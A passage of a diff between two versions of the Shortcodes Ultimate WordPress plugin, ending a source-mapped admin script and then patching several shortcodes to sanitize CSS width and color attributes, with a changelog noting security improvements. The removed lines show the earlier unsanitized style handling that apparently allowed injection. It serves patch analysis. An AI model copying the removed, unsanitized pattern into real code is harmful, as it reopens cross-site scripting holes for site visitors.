  e.preventDefault()\n                      if (typeof (frame) !== 'undefined') {\n                        frame.close()\n                      }\n                      frame = wp.media.frames.su_media_frame_1 = wp.media(\n                        {\n                          title: SUGL10n.isp_media_title,\n                          library: {\n                            type: 'image'\n                          },\n                          button: {\n                            text: SUGL10n.isp_media_insert\n                          },\n                          multiple: true\n                        }\n                      )\n                      frame.on('open', function () {\n                        $('.mfp-wrap').addClass('hidden')\n                      })\n                      frame.on('close', function () {\n                        $('.mfp-wrap').removeClass('hidden')\n                      })\n                      frame.on(\n                        'select',\n                        function () {\n                          var files = frame.state().get('selection').toJSON()\n                          $images.find('em').remove()\n                          $.each(\n                            files,\n                            function (i) {\n                              $images.append('<span data-id=\"' + this.id + '\"><img src=\"' + this.url + '\" alt=\"\" /><i class=\"sui sui-times\"></i></span>')\n                            }\n                          )\n                          update()\n                        }\n                      ).open()\n                    }\n                  )\n                  // Sort images\n                  $images.sortable(\n                    {\n                      revert: 200,\n                      containment: $picker,\n                      tolerance: 'pointer',\n                      stop: function () {\n                        update()\n                      }\n                    }\n                  )\n                  // Select categories and terms\n                  $cats.on('change', update)\n                  $terms.on('change', update)\n                  // Select taxonomy\n                  $taxes.on(\n                    'change',\n                    function () {\n                      var $cont = $(this).parents('.su-generator-isp-source')\n                      var tax = $(this).val()\n                      // Remove terms\n                      $terms.hide().find('option').remove()\n                      update()\n                      // Taxonomy is not selected\n                      if (tax === '0') {\n\n                      } else { // Taxonomy selected\n                        var ajaxTermSelect = $.ajax(\n                          {\n                            url: ajaxurl,\n                            type: 'post',\n                            dataType: 'html',\n                            data: {\n                              action: 'su_generator_get_terms',\n                              tax: tax,\n                              class: 'su-generator-isp-terms',\n                              multiple: true,\n                              size: 10\n                            },\n                            beforeSend: function () {\n                              if (typeof ajaxTermSelect === 'object') {\n                                ajaxTermSelect.abort()\n                              }\n                              $terms.html('').attr('disabled', true).hide()\n                              $cont.addClass('su-generator-loading')\n                            },\n                            success: function (data) {\n                              $terms.html(data).attr('disabled', false).show()\n                              $cont.removeClass('su-generator-loading')\n                            }\n                          }\n                        )\n                      }\n                    }\n                  )\n                }\n              )\n              // Init media buttons\n              $('.su-generator-upload-button').each(\n                function () {\n                  var $button = $(this)\n                  var $val = $(this).parents('.su-generator-attr-container').find('input:text')\n                  var file\n                  $button.on(\n                    'click',\n                    function (e) {\n                      e.preventDefault()\n                      e.stopPropagation()\n                      // If the frame already exists, reopen it\n                      if (typeof (file) !== 'undefined') {\n                        file.close()\n                      }\n                      // Create WP media frame.\n                      file = wp.media.frames.su_media_frame_2 = wp.media(\n                        {\n                          // Title of media manager frame\n                          title: SUGL10n.upload_title,\n                          button: {\n                            // Button text\n                            text: SUGL10n.upload_insert\n                          },\n                          // Do not allow multiple files, if you want multiple, set true\n                          multiple: false\n                        }\n                      )\n                      // callback for selected image\n                      file.on(\n                        'select',\n                        function () {\n                          var attachment = file.state().get('selection').first().toJSON()\n                          $val.val(attachment.url).trigger('change')\n                        }\n                      )\n                      file.on('open', function () {\n                        $('.mfp-wrap').addClass('hidden')\n                      })\n                      file.on('close', function () {\n                        $('.mfp-wrap').removeClass('hidden')\n                      })\n                      // Open modal\n                      file.open()\n                    }\n                  )\n                }\n              )\n              // Init icon pickers\n              $('.su-generator-icon-picker-button').each(\n                function () {\n                  var $button = $(this)\n                  var $field = $(this).parents('.su-generator-attr-container')\n                  var $val = $field.find('.su-generator-attr')\n                  var $picker = $field.find('.su-generator-icon-picker')\n                  var $filter = $picker.find('input:text')\n                  $button.click(\n                    function (e) {\n                      $picker.toggleClass('su-generator-icon-picker-visible')\n                      $filter.val('').trigger('keyup')\n                      if ($picker.hasClass('su-generator-icon-picker-loaded')) {\n                        return\n                      }\n                      // Load icons\n                      $.ajax(\n                        {\n                          type: 'post',\n                          url: ajaxurl,\n                          data: {\n                            action: 'su_generator_get_icons'\n                          },\n                          dataType: 'html',\n                          beforeSend: function () {\n                            // Show loading animation\n                            $picker.addClass('su-generator-loading')\n                            // Add loaded class\n                            $picker.addClass('su-generator-icon-picker-loaded')\n                          },\n                          success: function (data) {\n                            $picker.append(data)\n                            var $icons = $picker.children('i')\n                            $icons.click(\n                              function (e) {\n                                $val.val('icon: ' + $(this).attr('title'))\n                                $picker.removeClass('su-generator-icon-picker-visible')\n                                $val.trigger('change')\n                                e.preventDefault()\n                              }\n                            )\n                            $filter.on(\n                              {\n                                keyup: function () {\n                                  var val = $(this).val()\n                                  var regex = new RegExp(val, 'gi')\n                                  // Hide all choices\n                                  $icons.hide()\n                                  // Find searched choices and show\n                                  $icons.each(\n                                    function () {\n                                      // Get shortcode name\n                                      var name = $(this).attr('title')\n                                      // Show choice if matched\n                                      if (name.match(regex) !== null) {\n                                        $(this).show()\n                                      }\n                                    }\n                                  )\n                                },\n                                focus: function () {\n                                  $(this).val('')\n                                  $icons.show()\n                                }\n                              }\n                            )\n                            $picker.removeClass('su-generator-loading')\n                          }\n                        }\n                      )\n                      e.preventDefault()\n                    }\n                  )\n                }\n              )\n              // Init switches\n              $('.su-generator-switch').click(\n                function (e) {\n                  // Prepare data\n                  var $switch = $(this)\n                  var $value = $switch.parent().children('input')\n                  var isOn = $value.val() === 'yes'\n                  // Disable\n                  if (isOn) {\n                    // Change value\n                    $value.val('no').trigger('change')\n                  } else { // Enable\n                    // Change value\n                    $value.val('yes').trigger('change')\n                  }\n                  e.preventDefault()\n                }\n              )\n              $('.su-generator-switch-value').on(\n                'change',\n                function () {\n                  // Prepare data\n                  var $value = $(this)\n                  var $switch = $value.parent().children('.su-generator-switch')\n                  var value = $value.val()\n                  // Disable\n                  if (value === 'yes') {\n                    $switch.removeClass('su-generator-switch-no').addClass('su-generator-switch-yes')\n                  } else if (value === 'no') { // Enable\n                    $switch.removeClass('su-generator-switch-yes').addClass('su-generator-switch-no')\n                  }\n                }\n              )\n              // Init tax_term selects\n              $('select#su-generator-attr-taxonomy').on(\n                'change',\n                function () {\n                  var $taxonomy = $(this)\n                  var tax = $taxonomy.val()\n                  var $terms = $('select#su-generator-attr-tax_term')\n                  // Load new options\n                  window.su_generator_get_terms = $.ajax(\n                    {\n                      type: 'POST',\n                      url: ajaxurl,\n                      data: {\n                        action: 'su_generator_get_terms',\n                        tax: tax,\n                        noselect: true\n                      },\n                      dataType: 'html',\n                      beforeSend: function () {\n                        // Check previous requests\n                        if (typeof window.su_generator_get_terms === 'object') {\n                          window.su_generator_get_terms.abort()\n                        }\n                        // Show loading animation\n                        $terms.parent().addClass('su-generator-loading')\n                      },\n                      success: function (data) {\n                        // Remove previous options\n                        $terms.find('option').remove()\n                        // Append new options\n                        $terms.append(data)\n                        // Hide loading animation\n                        $terms.parent().removeClass('su-generator-loading')\n                      }\n                    }\n                  )\n                }\n              )\n              // Init shadow pickers\n              $('.su-generator-shadow-picker').each(\n                function (index) {\n                  var $picker = $(this)\n                  var $fields = $picker.find('.su-generator-shadow-picker-field input')\n                  var $hoff = $picker.find('.su-generator-sp-hoff')\n                  var $voff = $picker.find('.su-generator-sp-voff')\n                  var $blur = $picker.find('.su-generator-sp-blur')\n                  var $color = {\n                    cnt: $picker.find('.su-generator-shadow-picker-color'),\n                    value: $picker.find('.su-generator-shadow-picker-color-value'),\n                    wheel: $picker.find('.su-generator-shadow-picker-color-wheel')\n                  }\n                  var $val = $picker.find('.su-generator-attr')\n                  // Init color picker\n                  $color.wheel.farbtastic($color.value)\n                  $color.value.focus(\n                    function () {\n                      $color.wheel.show()\n                    }\n                  )\n                  $color.value.blur(\n                    function () {\n                      $color.wheel.hide()\n                    }\n                  )\n                  // Handle text fields\n                  $fields.on(\n                    'change blur keyup',\n                    function () {\n                      $val.val($hoff.val() + 'px ' + $voff.val() + 'px ' + $blur.val() + 'px ' + $color.value.val()).trigger('change')\n                    }\n                  )\n                  $val.on(\n                    'keyup',\n                    function () {\n                      var value = $(this).val().split(' ')\n                      // Value is correct\n                      if (value.length === 4) {\n                        $hoff.val(value[0].replace('px', ''))\n                        $voff.val(value[1].replace('px', ''))\n                        $blur.val(value[2].replace('px', ''))\n                        $color.value.val(value[3])\n                        $fields.trigger('keyup')\n                      }\n                    }\n                  )\n                }\n              )\n              // Init border pickers\n              $('.su-generator-border-picker').each(\n                function (index) {\n                  var $picker = $(this)\n                  var $fields = $picker.find('.su-generator-border-picker-field input, .su-generator-border-picker-field select')\n                  var $width = $picker.find('.su-generator-bp-width')\n                  var $style = $picker.find('.su-generator-bp-style')\n                  var $color = {\n                    cnt: $picker.find('.su-generator-border-picker-color'),\n                    value: $picker.find('.su-generator-border-picker-color-value'),\n                    wheel: $picker.find('.su-generator-border-picker-color-wheel')\n                  }\n                  var $val = $picker.find('.su-generator-attr')\n                  // Init color picker\n                  $color.wheel.farbtastic($color.value)\n                  $color.value.focus(\n                    function () {\n                      $color.wheel.show()\n                    }\n                  )\n                  $color.value.blur(\n                    function () {\n                      $color.wheel.hide()\n                    }\n                  )\n                  // Handle text fields\n                  $fields.on(\n                    'change blur keyup',\n                    function () {\n                      $val.val($width.val() + 'px ' + $style.val() + ' ' + $color.value.val()).trigger('change')\n                    }\n                  )\n                  $val.on(\n                    'keyup',\n                    function () {\n                      var value = $(this).val().split(' ')\n                      // Value is correct\n                      if (value.length === 3) {\n                        $width.val(value[0].replace('px', ''))\n                        $style.val(value[1])\n                        $color.value.val(value[2])\n                        $fields.trigger('keyup')\n                      }\n                    }\n                  )\n                }\n              )\n              // Remove skip class when setting is changed\n              $settings.find('.su-generator-attr').on(\n                'change keyup blur',\n                function () {\n                  var $cnt = $(this).parents('.su-generator-attr-container')\n                  var _default = $cnt.data('default')\n                  var val = $(this).val()\n                  // Value is changed\n                  if (val != _default) {\n                    $cnt.removeClass('su-generator-skip')\n                  } else {\n                    $cnt.addClass('su-generator-skip')\n                  }\n                }\n              )\n              // Init value setters\n              $('.su-generator-set-value').click(\n                function (e) {\n                  $(this).parents('.su-generator-attr-container').find('input').val($(this).text()).trigger('change')\n                }\n              )\n              // Save selected value\n              $selected.val(shortcode)\n              // Load last used preset\n              $.ajax(\n                {\n                  type: 'GET',\n                  url: ajaxurl,\n                  data: {\n                    action: 'su_generator_get_preset',\n                    id: 'last_used',\n                    shortcode: shortcode,\n                    nonce: $('#su_generator_presets_nonce').val()\n                  },\n                  beforeSend: function () {\n                    // Show loading animation\n                    // $settings.addClass('su-generator-loading');\n                  },\n                  success: function (data) {\n                    // Remove loading animation\n                    // $settings.removeClass('su-generator-loading');\n                    // Set new settings\n                    self.setSettings(data)\n                    // Apply selected text to the content field\n                    var $content = $('#su-generator-content')\n                    if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n                      $content.val(self.state.mceSelection)\n                    }\n                  },\n                  dataType: 'json'\n                }\n              )\n            },\n            dataType: 'html'\n          }\n        )\n      }\n    )\n    // Insert shortcode\n    $('#su-generator').on('click', '.su-generator-insert', self.insertShortcode)\n    // Preview shortcode\n    $('#su-generator').on(\n      'click',\n      '.su-generator-toggle-preview',\n      function (e) {\n        // Prepare data\n        var $preview = $('#su-generator-preview')\n        var $button = $(this)\n        // Hide button\n        $button.hide()\n        // Show preview box\n        $preview.addClass('su-generator-loading').show()\n        // Bind updating on settings changes\n        $settings.find('input, textarea, select').on(\n          'change keyup blur',\n          function () {\n            self.updatePreview()\n          }\n        )\n        // Update preview box\n        self.updatePreview(true)\n        // Prevent default action\n        e.preventDefault()\n      }\n    )\n    var gp_hover_timer\n    // Presets manager - mouseenter\n    $('#su-generator').on(\n      'mouseenter click',\n      '.su-generator-presets',\n      function () {\n        clearTimeout(gp_hover_timer)\n        $('.su-gp-popup').show()\n      }\n    )\n    // Presets manager - mouseleave\n    $('#su-generator').on(\n      'mouseleave',\n      '.su-generator-presets',\n      function () {\n        gp_hover_timer = window.setTimeout(\n          function () {\n            $('.su-gp-popup').fadeOut(200)\n          },\n          600\n        )\n      }\n    )\n    // Presets manager - add new preset\n    $('#su-generator').on(\n      'click',\n      '.su-gp-new',\n      function (e) {\n        // Prepare data\n        var $container = $(this).parents('.su-generator-presets')\n        var $list = $('.su-gp-list')\n        var id = new Date().getTime()\n        // Ask for preset name\n        var name = prompt(SUGL10n.presets_prompt_msg, SUGL10n.presets_prompt_value)\n        // Name is entered\n        if (name !== '' && name !== null) {\n          // Hide default text\n          $list.find('b').hide()\n          // Add new option\n          $list.append('<span data-id=\"' + id + '\"><em>' + name + '</em><i class=\"sui sui-times\"></i></span>')\n          // Perform AJAX request\n          self.addPreset(id, name)\n        }\n      }\n    )\n    // Presets manager - load preset\n    $('#su-generator').on(\n      'click',\n      '.su-gp-list span',\n      function (e) {\n        // Prepare data\n        var shortcode = $('.su-generator-presets').data('shortcode')\n        var id = $(this).data('id')\n        var $insert = $('.su-generator-insert')\n        // Hide popup\n        $('.su-gp-popup').hide()\n        // Disable hover timer\n        clearTimeout(gp_hover_timer)\n        // Get the preset\n        $.ajax(\n          {\n            type: 'GET',\n            url: ajaxurl,\n            data: {\n              action: 'su_generator_get_preset',\n              id: id,\n              shortcode: shortcode,\n              nonce: $('#su_generator_presets_nonce').val()\n            },\n            beforeSend: function () {\n              // Disable insert button\n              $insert.addClass('button-primary-disabled').attr('disabled', true)\n            },\n            success: function (data) {\n              // Enable insert button\n              $insert.removeClass('button-primary-disabled').attr('disabled', false)\n              // Set new settings\n              self.setSettings(data)\n            },\n            dataType: 'json'\n          }\n        )\n        // Prevent default action\n        e.preventDefault()\n        e.stopPropagation()\n      }\n    )\n    // Presets manager - remove preset\n    $('#su-generator').on(\n      'click',\n      '.su-gp-list i',\n      function (e) {\n        // Prepare data\n        var $list = $(this).parents('.su-gp-list')\n        var $preset = $(this).parent('span')\n        var id = $preset.data('id')\n        // Remove DOM element\n        $preset.remove()\n        // Show default text if last preset was removed\n        if ($list.find('span').length < 1) {\n          $list.find('b').show()\n        }\n        // Perform ajax request\n        self.removePreset(id)\n        // Prevent <span> action\n        e.stopPropagation()\n        // Prevent default action\n        e.preventDefault()\n      }\n    )\n  }\n\n  /**\n\t * Create new preset with specified name from current settings\n\t */\n  self.addPreset = function (id, name) {\n    // Prepare shortcode name and current settings\n    var shortcode = $('.su-generator-presets').data('shortcode')\n    var settings = self.getSettings()\n    // Perform AJAX request\n    $.ajax(\n      {\n        type: 'POST',\n        url: ajaxurl,\n        data: {\n          action: 'su_generator_add_preset',\n          id: id,\n          name: name,\n          shortcode: shortcode,\n          settings: settings,\n          nonce: $('#su_generator_presets_nonce').val()\n        }\n      }\n    )\n  }\n  /**\n\t * Remove preset by ID\n\t */\n  self.removePreset = function (id) {\n    // Get current shortcode name\n    var shortcode = $('.su-generator-presets').data('shortcode')\n    // Perform AJAX request\n    $.ajax(\n      {\n        type: 'POST',\n        url: ajaxurl,\n        data: {\n          action: 'su_generator_remove_preset',\n          id: id,\n          shortcode: shortcode,\n          nonce: $('#su_generator_presets_nonce').val()\n        }\n      }\n    )\n  }\n\n  self.parseSettings = function () {\n    var settingsSelector = $('#su-generator-option-skip').val() === 'on'\n      ? '#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr'\n      : '#su-generator-settings .su-generator-attr-container .su-generator-attr'\n    // Prepare data\n    var query = $selected.val()\n    var prefix = $prefix.val()\n    var $settings = $(settingsSelector)\n    var $content = $('textarea#su-generator-content')\n    var content = $content.length ? $content.val() : 'false'\n    var result = new String('')\n    // Open shortcode\n    result += '[' + prefix + query\n    // Add shortcode attributes\n    $settings.each(\n      function () {\n        // Prepare field and value\n        var $this = $(this)\n        var value = ''\n        // Selects\n        if ($this.is('select')) {\n          value = $this.find('option:selected').val()\n        }\n        // Other fields\n        else {\n          value = $this.val()\n        }\n        // Check that value is not empty\n        if (value == null) {\n          value = ''\n        } else if (typeof value === 'array') {\n          value = value.join(',')\n        }\n        // Add attribute\n        if (value !== '') {\n          result += ' ' + $(this).attr('name') + '=\"' + $(this).val().toString().replace(/\"/gi, \"'\") + '\"'\n        }\n      }\n    )\n    // End of opening tag\n    result += ']'\n    // Wrap shortcode if content presented\n    if (content != 'false') {\n      result += content + '[/' + prefix + query + ']'\n    }\n    // Return result\n    return result\n  }\n\n  self.getSettings = function () {\n    // Prepare data\n    var query = $selected.val()\n    var $settings = $('#su-generator-settings .su-generator-attr')\n    var $content = $('textarea#su-generator-content')\n    var content = $content.length ? $content.val() : 'false'\n    var data = {}\n    // Add shortcode attributes\n    $settings.each(\n      function (i) {\n        // Prepare field and value\n        var $this = $(this)\n        var value = ''\n        var name = $this.attr('name')\n        // Selects\n        if ($this.is('select')) {\n          value = $this.find('option:selected').val()\n        }\n        // Other fields\n        else {\n          value = $this.val()\n        }\n        // Check that value is not empty\n        if (value == null) {\n          value = ''\n        }\n        // Save value\n        data[name] = value\n      }\n    )\n    // Add content\n    data.content = content.toString()\n    // Return data\n    return data\n  }\n\n  self.setSettings = function (data) {\n    // Prepare data\n    var $settings = $('#su-generator-settings .su-generator-attr')\n    var $content = $('#su-generator-content')\n    // Loop through settings\n    $settings.each(\n      function () {\n        var $this = $(this)\n        var name = $this.attr('name')\n        // Data contains value for this field\n        if (data.hasOwnProperty(name)) {\n          // Set new value\n          $this.val(data[name])\n          $this.trigger('keyup').trigger('change').trigger('blur')\n        }\n      }\n    )\n    // Set content\n    if (data.hasOwnProperty('content')) {\n      $content.val(data.content).trigger('keyup').trigger('change').trigger('blur')\n    }\n    // Update preview\n    self.updatePreview()\n  }\n\n  self.updatePreview = function (forced) {\n    // Prepare data\n    var $preview = $('#su-generator-preview')\n    var shortcode = self.parseSettings()\n    var previous = $result.text()\n    // Check forced mode\n    forced = forced || false\n    // Break if preview box is hidden (preview isn't enabled)\n    if (!$preview.is(':visible')) {\n      return\n    }\n    // Check shortcode is changed is this is not a forced mode\n    if (shortcode === previous && !forced) {\n      return\n    }\n    // Run timer to filter often calls\n    window.clearTimeout(self.state.preview.timer)\n    self.state.preview.timer = window.setTimeout(\n      function () {\n        self.state.preview.request = $.ajax(\n          {\n            type: 'POST',\n            url: ajaxurl,\n            cache: false,\n            data: {\n              action: 'su_generator_preview',\n              shortcode: shortcode,\n              nonce: $('#su_generator_preview_nonce').val()\n            },\n            beforeSend: function () {\n              // Abort previous requests\n              if (self.state.preview.request) {\n                self.state.preview.request.abort()\n              }\n              // Show loading animation\n              $preview.addClass('su-generator-loading').html('')\n            },\n            success: function (data) {\n              // Hide loading animation and set new HTML\n              $preview.html(data).removeClass('su-generator-loading')\n            },\n            dataType: 'html'\n          }\n        )\n      },\n      300\n    )\n    // Save shortcode to div\n    $result.text(shortcode)\n  }\n\n  self.insert = function (context, args) {\n    if (typeof context !== 'string' || typeof args !== 'object') {\n      return\n    }\n\n    self.state.context = context\n    self.state.insertArgs = args\n\n    var preSelectedShortcode = args.shortcode || ''\n\n    var mfpOptions = {\n      type: 'inline',\n      alignTop: true,\n      closeOnBgClick: false,\n      mainClass: 'su-generator-mfp',\n      items: {\n        src: '#su-generator'\n      },\n      callbacks: {}\n    }\n\n    mfpOptions.callbacks.open = () => {\n      if (preSelectedShortcode) {\n        $choice.filter(`[data-shortcode=\"${preSelectedShortcode}\"]`).trigger('click')\n      } else {\n        window.setTimeout(() => $search.focus(), 200)\n      }\n\n      // self.el.body.addClass( 'su-mfp-shown' );\n\n      if (\n        typeof tinyMCE !== 'undefined' &&\n\t\t\t\ttinyMCE.activeEditor != null &&\n\t\t\t\ttinyMCE.activeEditor.hasOwnProperty('selection')\n      ) {\n        self.state.mceSelection = tinyMCE.activeEditor.selection.getContent({ format: 'text' })\n      }\n    }\n\n    mfpOptions.callbacks.close = () => {\n      $search.val('')\n      $settings.html('').hide()\n      $generator.removeClass('su-generator-narrow')\n      $filter.show()\n      $choices.show()\n      $choice.show()\n\n      self.state.mceSelection = ''\n\n      // self.el.body.removeClass( 'su-mfp-shown' );\n    }\n\n    $.magnificPopup.open(mfpOptions)\n  }\n\n  self.insertShortcode = function () {\n    var shortcode = self.parseSettings()\n\n    self.addPreset('last_used', SUGL10n.last_used)\n\n    $.magnificPopup.close()\n\n    $result.text(shortcode)\n\n    if (self.state.context === 'html') {\n      var HTMLEditor = document.getElementById(self.state.insertArgs.editorID)\n      self.insertAtCaret(HTMLEditor, shortcode)\n    }\n\n    if (self.state.context === 'classic') {\n      window.wp.media.editor.insert(shortcode)\n    }\n\n    if (self.state.context === 'block') {\n      var props = self.state.insertArgs.props\n\n      if (props.attributes.hasOwnProperty('content')) {\n        props.setAttributes({ content: props.attributes.content + shortcode })\n      } else if (props.name === 'core/shortcode') {\n        var originalText = props.attributes.hasOwnProperty('text')\n          ? props.attributes.text\n          : ''\n\n        props.setAttributes({ text: originalText + shortcode })\n      }\n    }\n\n    if (self.state.context === 'callback') {\n      if (typeof self.state.insertArgs.callback === 'function') {\n        self.state.insertArgs.callback(shortcode)\n      }\n    }\n  }\n\n  self.insertAtCaret = (field, text) => {\n    var start = field.selectionStart\n    field.value = field.value.substring(0, start) + text + field.value.substring(start)\n    field.focus()\n    field.selectionStart = start + text.length\n  }\n\n  return {\n    init: self.init,\n    insert: self.insert\n  }\n})(jQuery)\n\njQuery(document).ready(window.SUG.App.init)\n"]}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/box.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/box.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/box.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/box.php	2026-03-23 19:21:32.000000000 +0000
@@ -86,7 +86,7 @@
 			'radius'      => '3',
 			'class'       => '',
 			'id'          => '',
-			'max_width'   => '',
+			'max_width'   => 'none',
 		),
 		$atts,
 		'box'
@@ -96,6 +96,10 @@
 		$atts['box_color'] = $atts['color'];
 	}
 
+	$atts['box_color']   = su_sanitize_css_color( $atts['box_color'] );
+	$atts['title_color'] = su_sanitize_css_color( $atts['title_color'] );
+	$atts['style']       = sanitize_key( $atts['style'] );
+
 	$atts['radius'] = is_numeric( $atts['radius'] )
 		? intval( $atts['radius'] )
 		: 0;
@@ -104,13 +108,17 @@
 		? $atts['radius'] - 2
 		: 0;
 
-	$max_width = !empty($atts['max_width']) ? 'max-width:' . (is_numeric($atts['max_width']) ? $atts['max_width'] . 'px' : $atts['max_width']) . ';' : '';
+	$atts['max_width'] = su_sanitize_css_value( $atts['max_width'] );
+
+	if ( is_numeric( $atts['max_width'] ) ) {
+		$atts['max_width'] = intval( $atts['max_width'] ) . 'px';
+	}
 
 	su_query_asset( 'css', 'su-shortcodes' );
 
 	// Return result
 	return sprintf(
-		'<div class="su-box su-box-style-%1$s%2$s" id="%10$s" style="border-color:%3$s;border-radius:%4$spx;%11$s"><div class="su-box-title" style="background-color:%5$s;color:%6$s;border-top-left-radius:%7$spx;border-top-right-radius:%7$spx">%8$s</div><div class="su-box-content su-u-clearfix su-u-trim" style="border-bottom-left-radius:%7$spx;border-bottom-right-radius:%7$spx">%9$s</div></div>',
+		'<div class="su-box su-box-style-%1$s%2$s" id="%10$s" style="border-color:%3$s;border-radius:%4$spx;max-width:%11$s"><div class="su-box-title" style="background-color:%5$s;color:%6$s;border-top-left-radius:%7$spx;border-top-right-radius:%7$spx">%8$s</div><div class="su-box-content su-u-clearfix su-u-trim" style="border-bottom-left-radius:%7$spx;border-bottom-right-radius:%7$spx">%9$s</div></div>',
 		esc_attr( $atts['style'] ),
 		su_get_css_class( $atts ),
 		esc_attr( su_adjust_brightness( $atts['box_color'], -20 ) ),
@@ -121,7 +129,7 @@
 		su_do_attribute( $atts['title'], true ),
 		su_do_nested_shortcodes( $content, 'box' ),
 		sanitize_html_class( $atts['id'] ),
-		$max_width
+		esc_attr($atts['max_width'])
 	);
 
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/custom-gallery.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/custom-gallery.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/custom-gallery.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/custom-gallery.php	2026-03-23 19:21:32.000000000 +0000
@@ -119,6 +119,9 @@
 		'custom_gallery'
 	);
 
+	$atts['width']  = intval( $atts['width'] );
+	$atts['height'] = intval( $atts['height'] );
+
 	$slides = su_get_slides( $atts );
 	$slides = apply_filters( 'su/shortcode/custom_gallery/slides', $slides, $atts );
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/image-carousel.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/image-carousel.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/image-carousel.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/image-carousel.php	2026-03-23 19:21:32.000000000 +0000
@@ -302,6 +302,8 @@
 		$atts['class'] .= ' su-image-carousel-adaptive';
 	}
 
+	$atts['max_width'] = su_sanitize_css_value( $atts['max_width'] );
+
 	if ( is_numeric( $atts['max_width'] ) ) {
 		$atts['max_width'] = $atts['max_width'] . 'px';
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/lightbox-content.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/lightbox-content.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/lightbox-content.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/lightbox-content.php	2026-03-23 19:21:32.000000000 +0000
@@ -138,11 +138,15 @@
 		$atts['padding'] = "{$atts['padding']}px";
 	}
 
+	$atts['width']     = su_sanitize_css_value( $atts['width'], 'auto' );
+	$atts['min_width'] = su_sanitize_css_value( $atts['min_width'], 'none' );
+	$atts['max_width'] = su_sanitize_css_value( $atts['max_width'], '600px' );
+
 	$style = array(
 		'display:none',
-		'width:' . sanitize_text_field( $atts['width'] ),
-		'min-width:' . sanitize_text_field( $atts['min_width'] ),
-		'max-width:' . sanitize_text_field( $atts['max_width'] ),
+		'width:' . $atts['width'],
+		'min-width:' . $atts['min_width'],
+		'max-width:' . $atts['max_width'],
 		'margin-top:' . sanitize_text_field( $atts['margin'] ),
 		'margin-bottom:' . sanitize_text_field( $atts['margin'] ),
 		'padding:' . sanitize_text_field( $atts['padding'] ),
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/tooltip.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/tooltip.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/shortcodes/tooltip.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/shortcodes/tooltip.php	2026-03-23 19:21:32.000000000 +0000
@@ -225,7 +225,7 @@
 		'{{BACKGROUND}}'    => esc_attr( $atts['background'] ),
 		'{{COLOR}}'         => esc_attr( $atts['color'] ),
 		'{{FONT_SIZE}}'     => esc_attr( su_maybe_add_css_units( $atts['font_size'], 'px' ) ),
-		'{{MAX_WIDTH}}'     => esc_attr( su_maybe_add_css_units( $atts['max_width'], 'px' ) ),
+		'{{MAX_WIDTH}}'     => esc_attr( su_sanitize_css_value( su_maybe_add_css_units( $atts['max_width'], 'px' ), '300px' ) ),
 		'{{ALIGN}}'         => sanitize_key( $atts['text_align'] ),
 		'{{OUTLINE}}'       => sanitize_key( $atts['outline'] ),
 		'{{REFERENCE_TAG}}' => sanitize_key( $atts['reference_tag'] ),
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/readme.txt	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/readme.txt	2026-03-23 19:21:32.000000000 +0000
@@ -3,7 +3,7 @@
 License: GPLv3
 Donate link: https://getshortcodes.com/pricing/
 Tags: posts, carousel, shortcode, toggle, columns
-Stable tag: 7.4.9
+Stable tag: 7.5.0
 Requires PHP: 5.4
 Requires at least: 5.0
 Tested up to: 6.9
@@ -141,6 +141,18 @@
 
 
 
+= 7.5.0
+
+
+- Fixed "WP_Scripts::add was called incorrectly" notice on WordPress 6.9.1
+- Improved input sanitization in several shortcodes
+
+
+= 7.4.10
+
+This update features security improvements and is recommended for all users
+
+
 = 7.4.9
 
 This update features security improvements and is recommended for all users
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/shortcodes-ultimate.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/shortcodes-ultimate.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/shortcodes-ultimate.php	2026-02-02 16:19:34.000000000 +0000
